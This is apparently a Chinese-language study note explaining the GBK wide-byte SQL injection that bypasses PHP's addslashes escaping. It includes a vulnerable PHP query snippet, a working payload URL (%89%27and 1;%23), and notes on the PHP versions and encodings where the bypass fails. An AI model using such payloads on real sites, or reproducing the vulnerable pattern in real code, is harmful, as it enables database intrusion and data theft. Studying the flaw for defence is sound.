https://bbs.ichunqiu.com/thread-10899-1-1.html
http://www.91ri.org/8611.html 这两篇解释绕过addslashes注入原理
以下原创
绕过addslashes注入原理,使用GBK编码的时候,会认为两个字符(前一个ascii码要大于128,%80以上的)是一个汉字
gbk编码下php5.6.9版本及以下,输入%89%27(%89') $id=addslashes($_GET['id'])会生成字符串: 1噂',因为%89加\(%5c)会合成噂字,闭合单引号,后面可接任何sql
输入id 1%89'and 1;%23 完整url test.net/index.php?id=1%89%27and%201;%23 注入成功(%23为#url下认为是锚,所以用%23)
$id = isset($_GET['id']) ? addslashes($_GET['id']) : 1;
$sql = "SELECT * FROM news WHERE tid='{$id}'";
$sql字符串变成
| SELECT * FROM news WHERE tid='1噂'and 1;#' |
http://blog.csdn.net/hornedreaper1988/article/details/43520257 这篇有最下面有解决方法
结论:php7及以上(gbk下不会把\合成没),utf8编码不能注入(UTF8编码不能绕过单引号转义进行注入)。
其它参考
https://www.cnblogs.com/lcamry/articles/5625276.html
http://www.redicecn.com/html/PHP/20101203/198.html
http://blog.csdn.net/c465869935/article/details/54407084 这篇重要 编码安全问题